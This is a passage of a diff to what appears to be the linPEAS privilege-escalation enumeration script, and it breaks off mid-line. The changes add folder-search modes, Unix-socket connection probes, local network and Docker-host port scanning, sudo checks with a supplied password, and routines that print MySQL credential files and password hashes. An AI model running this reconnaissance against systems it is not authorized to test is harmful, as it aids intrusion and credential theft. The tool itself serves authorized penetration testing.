"https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#emond" - ls -l /private/var/db/emondClients +if ! [ "$SEARCH_IN_FOLDER" ]; then + #-- PSC) systemd PATH + print_2title "Systemd PATH" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#systemd-path-relative-paths" + systemctl show-environment 2>/dev/null | grep "PATH" | sed -${E} "s,$Wfolders\|\./\|\.:\|:\.,${SED_RED_YELLOW},g" + WRITABLESYSTEMDPATH=$(systemctl show-environment 2>/dev/null | grep "PATH" | grep -E "$Wfolders") echo "" fi -#-- PCS) Services -if [ "$EXTRA_CHECKS" ]; then - print_2title "Services" - print_info "Search for outdated versions" - (service --status-all || service -e || chkconfig --list || rc-status || launchctl list) 2>/dev/null || echo_not_found "service|chkconfig|rc-status|launchctl" - echo "" -fi - -#-- PSC) systemd PATH -print_2title "Systemd PATH" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#systemd-path-relative-paths" -systemctl show-environment 2>/dev/null | grep "PATH" | sed -${E} "s,$Wfolders\|\./\|\.:\|:\.,${SED_RED_YELLOW},g" -WRITABLESYSTEMDPATH=$(systemctl show-environment 2>/dev/null | grep "PATH" | grep -E "$Wfolders") -echo "" - #-- PSC) .service files #TODO: .service files in MACOS are folders print_2title "Analyzing .service files" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#services" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#services" printf "%s\n" "$PSTORAGE_SYSTEMD" | while read s; do - if [ ! -O "$s" ]; then #Remove services that belongs to the current user - if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ]; then + if [ ! -O "$s" ] || [ "$SEARCH_IN_FOLDER" ]; then #Remove services that belongs to the current user or if firmware see everything + if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ] && ! [ "$SEARCH_IN_FOLDER" ]; then echo "$s" | sed -${E} "s,.*,${SED_RED_YELLOW},g" fi servicebinpaths=$(grep -Eo '^Exec.*?=[!@+-]*[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,') #Get invoked paths @@ -1807,17 +2432,19 @@ done if [ ! "$WRITABLESYSTEMDPATH" ]; then echo "You can't write on systemd PATH" | sed -${E} "s,.*,${SED_GREEN},"; fi echo "" -#-- PSC) Timers -print_2title "System timers" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#timers" -(systemctl list-timers --all 2>/dev/null | grep -Ev "(^$|timers listed)" | sed -${E} "s,$timersG,${SED_GREEN},") || echo_not_found -echo "" +if ! [ "$SEARCH_IN_FOLDER" ]; then + #-- PSC) Timers + print_2title "System timers" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers" + (systemctl list-timers --all 2>/dev/null | grep -Ev "(^$|timers listed)" | sed -${E} "s,$timersG,${SED_GREEN},") || echo_not_found + echo "" +fi #-- PSC) .timer files print_2title "Analyzing .timer files" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#timers" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers" printf "%s\n" "$PSTORAGE_TIMER" | while read t; do - if ! [ "$IAMROOT" ] && [ -w "$t" ]; then + if ! [ "$IAMROOT" ] && [ -w "$t" ] && ! [ "$SEARCH_IN_FOLDER" ]; then echo "$t" | sed -${E} "s,.*,${SED_RED},g" fi timerbinpaths=$(grep -Po '^Unit=*(.*?$)' $t 2>/dev/null | cut -d '=' -f2) @@ -1837,9 +2464,9 @@ echo "" #TODO: .socket files in MACOS are folders if ! [ "$IAMROOT" ]; then print_2title "Analyzing .socket files" - print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sockets" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets" printf "%s\n" "$PSTORAGE_SOCKET" | while read s; do - if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ]; then + if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ] && ! [ "$SEARCH_IN_FOLDER" ]; then echo "Writable .socket file: $s" | sed "s,/.*,${SED_RED},g" fi socketsbinpaths=$(grep -Eo '^(Exec).*?=[!@+-]*/[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,') @@ -1855,27 +2482,27 @@ if ! [ "$IAMROOT" ]; then fi done done - if ! [ "$IAMROOT" ] && [ -w "/var/run/docker.sock" ]; then - echo "Docker socket /var/run/docker.sock is writable (https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-docker-socket)" | sed "s,/var/run/docker.sock is writable,${SED_RED_YELLOW},g" - fi - if ! [ "$IAMROOT" ] && [ -w "/run/docker.sock" ]; then - echo "Docker socket /run/docker.sock is writable (https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-docker-socket)" | sed "s,/var/run/docker.sock is writable,${SED_RED_YELLOW},g" - fi echo "" - - print_2title "Unix Sockets Listening" - print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sockets" - # Search sockets using netstat and ss - unix_scks_list=$(ss -xlp -H state listening 2>/dev/null | grep -Eo "/.* " | cut -d " " -f1) - if ! [ "$unix_scks_list" ];then - unix_scks_list=$(ss -l -p -A 'unix' 2>/dev/null | grep -Ei "listen|Proc" | grep -Eo "/[a-zA-Z0-9\._/\-]+") - fi - if ! [ "$unix_scks_list" ];then - unix_scks_list=$(netstat -a -p --unix 2>/dev/null | grep -Ei "listen|PID" | grep -Eo "/[a-zA-Z0-9\._/\-]+" | tail -n +2) + + if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Unix Sockets Listening" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets" + # Search sockets using netstat and ss + unix_scks_list=$(ss -xlp -H state listening 2>/dev/null | grep -Eo "/.* " | cut -d " " -f1) + if ! [ "$unix_scks_list" ];then + unix_scks_list=$(ss -l -p -A 'unix' 2>/dev/null | grep -Ei "listen|Proc" | grep -Eo "/[a-zA-Z0-9\._/\-]+") + fi + if ! [ "$unix_scks_list" ];then + unix_scks_list=$(netstat -a -p --unix 2>/dev/null | grep -Ei "listen|PID" | grep -Eo "/[a-zA-Z0-9\._/\-]+" | tail -n +2) + fi fi - # But also search socket files - unix_scks_list2=$(find / -type s 2>/dev/null) + if ! [ "$SEARCH_IN_FOLDER" ]; then + # But also search socket files + unix_scks_list2=$(find / -type s 2>/dev/null) + else + unix_scks_list2=$(find "SEARCH_IN_FOLDER" -type s 2>/dev/null) + fi # Detele repeated dockets and check permissions (printf "%s\n" "$unix_scks_list" && printf "%s\n" "$unix_scks_list2") | sort | uniq | while read l; do @@ -1886,10 +2513,20 @@ if ! [ "$IAMROOT" ]; then if [ -w "$l" ];then perms="${perms}Write" fi + + if [ "$EXTRA_CHECKS" ] && [ "$(command -v curl)" ]; then + CANNOT_CONNECT_TO_SOCKET="$(curl -v --unix-socket "$l" --max-time 1 http:/linpeas 2>&1 | grep -i 'Permission denied')" + if ! [ "$CANNOT_CONNECT_TO_SOCKET" ]; then + perms="${perms} - Can Connect" + else + perms="${perms} - Cannot Connect" + fi + fi + if ! [ "$perms" ]; then echo "$l" | sed -${E} "s,$l,${SED_GREEN},g"; else echo "$l" | sed -${E} "s,$l,${SED_RED},g" - echo " └─(${RED}${perms}${NC})" + echo " └─(${RED}${perms}${NC})" | sed -${E} "s,Cannot Connect,${SED_GREEN},g" # Try to contact the socket socketcurl=$(curl --max-time 2 --unix-socket "$s" http:/index 2>/dev/null) if [ $? -eq 0 ]; then @@ -1904,11 +2541,11 @@ fi #-- PSC) Writable and weak policies in D-Bus config files print_2title "D-Bus config files" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#d-bus" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#d-bus" if [ "$PSTORAGE_DBUS" ]; then printf "%s\n" "$PSTORAGE_DBUS" | while read d; do for f in $d/*; do - if ! [ "$IAMROOT" ] && [ -w "$f" ]; then + if ! [ "$IAMROOT" ] && [ -w "$f" ] && ! [ "$SEARCH_IN_FOLDER" ]; then echo "Writable $f" | sed -${E} "s,.*,${SED_RED},g" fi @@ -1930,21 +2567,23 @@ if [ "$PSTORAGE_DBUS" ]; then fi echo "" -print_2title "D-Bus Service Objects list" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#d-bus" -dbuslist=$(busctl list 2>/dev/null) -if [ "$dbuslist" ]; then - busctl list | while read line; do - echo "$line" | sed -${E} "s,$dbuslistG,${SED_GREEN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"; - if ! echo "$line" | grep -qE "$dbuslistG"; then - srvc_object=$(echo $line | cut -d " " -f1) - srvc_object_info=$(busctl status "$srvc_object" 2>/dev/null | grep -E "^UID|^EUID|^OwnerUID" | tr '\n' ' ') - if [ "$srvc_object_info" ]; then - echo " -- $srvc_object_info" | sed "s,UID=0,${SED_RED}," +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "D-Bus Service Objects list" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#d-bus" + dbuslist=$(busctl list 2>/dev/null) + if [ "$dbuslist" ]; then + busctl list | while read line; do + echo "$line" | sed -${E} "s,$dbuslistG,${SED_GREEN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"; + if ! echo "$line" | grep -qE "$dbuslistG"; then + srvc_object=$(echo $line | cut -d " " -f1) + srvc_object_info=$(busctl status "$srvc_object" 2>/dev/null | grep -E "^UID|^EUID|^OwnerUID" | tr '\n' ' ') + if [ "$srvc_object_info" ]; then + echo " -- $srvc_object_info" | sed "s,UID=0,${SED_RED}," + fi fi - fi - done -else echo_not_found "busctl" + done + else echo_not_found "busctl" + fi fi fi @@ -2009,7 +2648,7 @@ fi #-- NI) Ports print_2title "Active Ports" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports" ( (netstat -punta || ss -nltpu || netstat -anv) | grep -i listen) 2>/dev/null | sed -${E} "s,127.0.[0-9]+.[0-9]+|:::|::1:|0\.0\.0\.0,${SED_RED}," echo "" @@ -2048,14 +2687,14 @@ fi print_2title "Can I sniff with tcpdump?" timeout 1 tcpdump >/dev/null 2>&1 if [ $? -eq 124 ]; then #If 124, then timed out == It worked - print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sniffing" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sniffing" echo "You can sniff with tcpdump!" | sed -${E} "s,.*,${SED_RED}," else echo_no fi echo "" #-- NI) Internet access -if ! [ "$SUPERFAST" ] && [ "$EXTRA_CHECKS" ] && ! [ "$FAST" ] && [ "$TIMEOUT" ] && [ -f "/bin/bash" ]; then +if [ "$AUTO_NETWORK_SCAN" ] && [ "$TIMEOUT" ] && [ -f "/bin/bash" ]; then print_2title "Internet Access?" check_tcp_80 2>/dev/null & check_tcp_443 2>/dev/null & @@ -2065,11 +2704,15 @@ if ! [ "$SUPERFAST" ] && [ "$EXTRA_CHECKS" ] && ! [ "$FAST" ] && [ "$TIMEOUT" ] echo "" fi -if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] || [ "$AUTO_NETWORK_SCAN" ]; then - if ! [ "$FOUND_NC" ]; then +if [ "$AUTO_NETWORK_SCAN" ]; then + if ! [ "$FOUND_NC" ] && ! [ "$FOUND_BASH" ]; then printf $RED"[-] $SCAN_BAN_BAD\n$NC" echo "The network is not going to be scanned..." + elif ! [ "$(command -v ifconfig)" ] && ! [ "$(command -v ip a)" ]; then + printf $RED"[-] No ifconfig or ip commands, cannot find local ips\n$NC" + echo "The network is not going to be scanned..." + else print_2title "Scanning local networks (using /24)" @@ -2078,7 +2721,7 @@ if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] || [ "$AUTO_NETWORK_SCAN" ]; then fi select_nc - local_ips=$(ip a | grep -Eo 'inet[^6]\S+[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | awk '{print $2}' | grep -E "^10\.|^172\.|^192\.168\.|^169\.254\.") + local_ips=$( (ip a 2>/dev/null || ifconfig) | grep -Eo 'inet[^6]\S+[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | awk '{print $2}' | grep -E "^10\.|^172\.|^192\.168\.|^169\.254\.") printf "%s\n" "$local_ips" | while read local_ip; do if ! [ -z "$local_ip" ]; then print_3title "Discovering hosts in $local_ip/24" @@ -2107,6 +2750,10 @@ if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] || [ "$AUTO_NETWORK_SCAN" ]; then echo "" fi done + + print_3title "Scanning top ports of host.docker.internal" + (tcp_port_scan "host.docker.internal" "" | grep -A 1000 "Ports going to be scanned" | grep -v "Ports going to be scanned" | sort | uniq) 2>/dev/null + echo "" fi fi @@ -2138,6 +2785,7 @@ if [ "$MACOS" ]; then echo "" fi fi + fi echo '' echo '' @@ -2151,7 +2799,7 @@ print_title "Users Information" #-- UI) My user print_2title "My user" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#users" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#users" (id || (whoami && groups)) 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed -${E} "s,$idB,${SED_RED},g" echo "" @@ -2206,26 +2854,26 @@ fi #-- UI) Sudo -l print_2title "Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid" -(echo '' | timeout 1 sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoB,${SED_RED},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed "s,\!root,${SED_RED},") 2>/dev/null || echo_not_found "sudo" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid" +(echo '' | timeout 1 sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,\!root,${SED_RED},") 2>/dev/null || echo_not_found "sudo" if [ "$PASSWORD" ]; then - (echo "$PASSWORD" | timeout 1 sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoB,${SED_RED},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW},") 2>/dev/null || echo_not_found "sudo" + (echo "$PASSWORD" | timeout 1 sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g") 2>/dev/null || echo_not_found "sudo" fi -( grep -Iv "^$" cat /etc/sudoers | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW},") 2>/dev/null || echo_not_found "/etc/sudoers" +( grep -Iv "^$" cat /etc/sudoers | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g" ) 2>/dev/null || echo_not_found "/etc/sudoers" if ! [ "$IAMROOT" ] && [ -w '/etc/sudoers.d/' ]; then echo "You can create a file in /etc/sudoers.d/ and escalate privileges" | sed -${E} "s,.*,${SED_RED_YELLOW}," fi for filename in '/etc/sudoers.d/*'; do if [ -r "$filename" ]; then echo "Sudoers file: $filename is readable" | sed -${E} "s,.*,${SED_RED},g" - grep -Iv "^$" "$filename" | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," + grep -Iv "^$" "$filename" | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g" fi done echo "" #-- UI) Sudo tokens print_2title "Checking sudo tokens" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#reusing-sudo-tokens" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#reusing-sudo-tokens" ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)" if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then echo "ptrace protection is disabled (0)" | sed "s,is disabled,${SED_RED},g"; else echo "ptrace protection is enabled ($ptrace_scope)" | sed "s,is enabled,${SED_GREEN},g"; @@ -2264,7 +2912,7 @@ fi #-- UI) Pkexec policy print_2title "Checking Pkexec policy" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe#pe-method-2" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe#pe-method-2" (cat /etc/polkit-1/localauthority.conf.d/* 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED}," | sed -${E} "s,$groupsVB,${SED_RED}," | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,$USER,${SED_RED_YELLOW}," | sed -${E} "s,$Groups,${SED_RED_YELLOW},") || echo_not_found "/etc/polkit-1/localauthority.conf.d" echo "" @@ -2388,26 +3036,32 @@ print_title "Software Information" #--------) Software Information (---------# ########################################### +NGINX_KNOWN_MODULES="ngx_http_geoip_module.so|ngx_http_xslt_filter_module.so|ngx_stream_geoip_module.so|ngx_http_image_filter_module.so|ngx_mail_module.so|ngx_stream_module.so" + #-- SI) Useful software -print_2title "Useful software" -for tool in $USEFUL_SOFTWARE; do command -v "$tool"; done -echo "" - -#-- SI) Search for compilers -print_2title "Installed Compilers" -(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; command -v gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/"); -echo "" - -if [ "$(command -v pkg 2>/dev/null)" ]; then - print_2title "Vulnerable Packages" - pkg audit -F | sed -${E} "s,vulnerable,${SED_RED},g" - echo "" +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Useful software" + for tool in $USEFUL_SOFTWARE; do command -v "$tool"; done + echo "" fi -if [ "$(command -v brew 2>/dev/null)" ]; then - print_2title "Brew Installed Packages" - brew list - echo "" +#-- SI) Search for compilers +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Installed Compilers" + (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; command -v gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/"); + echo "" + + if [ "$(command -v pkg 2>/dev/null)" ]; then + print_2title "Vulnerable Packages" + pkg audit -F | sed -${E} "s,vulnerable,${SED_RED},g" + echo "" + fi + + if [ "$(command -v brew 2>/dev/null)" ]; then + print_2title "Brew Installed Packages" + brew list + echo "" + fi fi if [ "$MACPEAS" ]; then @@ -2429,6 +3083,11 @@ fi if [ "$(command -v mysql)" ] || [ "$(command -v mysqladmin)" ] || [ "$DEBUG" ]; then print_2title "MySQL version" mysql --version 2>/dev/null || echo_not_found "mysql" + mysqluser=$(systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1) + if [ "$mysqluser" ]; then + echo "MySQL user: $mysqluser" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," + fi + echo "" echo "" #-- SI) Mysql connection root/root @@ -2464,30 +3123,46 @@ fi if [ "$PSTORAGE_MYSQL" ] || [ "$DEBUG" ]; then print_2title "Searching mysql credentials and exec" printf "%s\n" "$PSTORAGE_MYSQL" | while read d; do - for f in $(find $d -name debian.cnf 2>/dev/null); do - if [ -r "$f" ]; then - echo "We can read the mysql debian.cnf. You can use this username/password to log in MySQL" | sed -${E} "s,.*,${SED_RED}," - cat "$f" + if [ -f "$d" ] && ! [ "$(basename $d)" = "mysql" ]; then # Only interested in "mysql" that are folders (filesaren't the ones with creds) + STRINGS="`command -v strings`" + echo "Potential file containing credentials:" + ls -l "$d" + if [ "$STRINGS" ]; then + strings "$d" + else + echo "Strings not found, cat the file and check it to get the creds" fi - done - for f in $(find $d -name user.MYD 2>/dev/null); do - if [ -r "$f" ]; then - echo "We can read the Mysql Hashes from $f" | sed -${E} "s,.*,${SED_RED}," - grep -oaE "[-_\.\*a-Z0-9]{3,}" $f | grep -v "mysql_native_password" - fi - done - for f in $(grep -lr "user\s*=" $d 2>/dev/null | grep -v "debian.cnf"); do - if [ -r "$f" ]; then - u=$(cat "$f" | grep -v "#" | grep "user" | grep "=" 2>/dev/null) - echo "From '$f' Mysql user: $u" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," - fi - done - for f in $(find $d -name my.cnf 2>/dev/null); do - if [ -r "$f" ]; then - echo "Found readable $f" - grep -v "^#" "$f" | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed "s,password.*,${SED_RED}," - fi - done + + else + for f in $(find $d -name debian.cnf 2>/dev/null); do + if [ -r "$f" ]; then + echo "We can read the mysql debian.cnf. You can use this username/password to log in MySQL" | sed -${E} "s,.*,${SED_RED}," + cat "$f" + fi + done + + for f in $(find $d -name user.MYD 2>/dev/null); do + if [ -r "$f" ]; then + echo "We can read the Mysql Hashes from $f" | sed -${E} "s,.*,${SED_RED}," + grep -oaE "[-_\.\*a-Z0-9]{3,}" "$f" | grep -v "mysql_native_password" + fi + done + + for f in $(grep -lr "user\s*=" $d 2>/dev/null | grep -v "debian.cnf"); do + if [ -r "$f" ]; then + u=$(cat "$f" | grep -v "#" | grep "user" | grep "=" 2>/dev/null) + echo "From '$f' Mysql user: $u" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," + fi + done + + for f in $(find $d -name my.cnf 2>/dev/null); do + if [ -r "$f" ]; then + echo "Found readable $f" + grep -v "^#" "$f" | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed "s,password.*,${SED_RED}," + fi + done + fi + mysqlexec=$(whereis lib_mysqludf_sys.so 2>/dev/null | grep "lib_mysqludf_sys\.so") if [ "$mysqlexec" ]; then echo "Found $mysqlexec" @@ -2499,18 +3174,18 @@ echo "" if [ "$PSTORAGE_MARIADB" ] || [ "$DEBUG" ]; then print_2title "Analyzing MariaDB Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_MARIADB\" | grep -E \"mariadb\.cnf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "mariadb.cnf"; fi; fi; printf "%s" "$PSTORAGE_MARIADB" | grep -E "mariadb\.cnf$" | while read f; do ls -ld "$f" | sed -${E} "s,mariadb\.cnf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,user.*|password.*,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_MARIADB\" | grep -E \"debian\.cnf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "debian.cnf"; fi; fi; printf "%s" "$PSTORAGE_MARIADB" | grep -E "debian\.cnf$" | while read f; do ls -ld "$f" | sed -${E} "s,debian\.cnf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "user.*|password.*" | sed -${E} "s,user.*|password.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_MARIADB\" | grep -E \"mariadb\.cnf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "mariadb.cnf"; fi; fi; printf "%s" "$PSTORAGE_MARIADB" | grep -E "mariadb\.cnf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,mariadb\.cnf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,user.*|password.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_MARIADB\" | grep -E \"debian\.cnf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "debian.cnf"; fi; fi; printf "%s" "$PSTORAGE_MARIADB" | grep -E "debian\.cnf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,debian\.cnf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "user.*|password.*" | sed -${E} "s,user.*|password.*,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_POSTGRESQL" ] || [ "$DEBUG" ]; then print_2title "Analyzing PostgreSQL Files (limit 70)" echo "Version: $(warn_exec psql -V 2>/dev/null)" - if ! [ "`echo \"$PSTORAGE_POSTGRESQL\" | grep -E \"pgadmin.*\.db$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "pgadmin*.db"; fi; fi; printf "%s" "$PSTORAGE_POSTGRESQL" | grep -E "pgadmin.*\.db$" | while read f; do ls -ld "$f" | sed -${E} "s,pgadmin.*\.db$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_POSTGRESQL\" | grep -E \"pg_hba\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "pg_hba.conf"; fi; fi; printf "%s" "$PSTORAGE_POSTGRESQL" | grep -E "pg_hba\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,pg_hba\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,auth|password|md5|user=|pass=|trust,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_POSTGRESQL\" | grep -E \"postgresql\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "postgresql.conf"; fi; fi; printf "%s" "$PSTORAGE_POSTGRESQL" | grep -E "postgresql\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,postgresql\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,auth|password|md5|user=|pass=|trust,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_POSTGRESQL\" | grep -E \"pgsql\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "pgsql.conf"; fi; fi; printf "%s" "$PSTORAGE_POSTGRESQL" | grep -E "pgsql\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,pgsql\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,auth|password|md5|user=|pass=|trust,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_POSTGRESQL\" | grep -E \"pgadmin.*\.db$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "pgadmin*.db"; fi; fi; printf "%s" "$PSTORAGE_POSTGRESQL" | grep -E "pgadmin.*\.db$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,pgadmin.*\.db$,${SED_RED},"; done; echo ""; + if ! [ "`echo 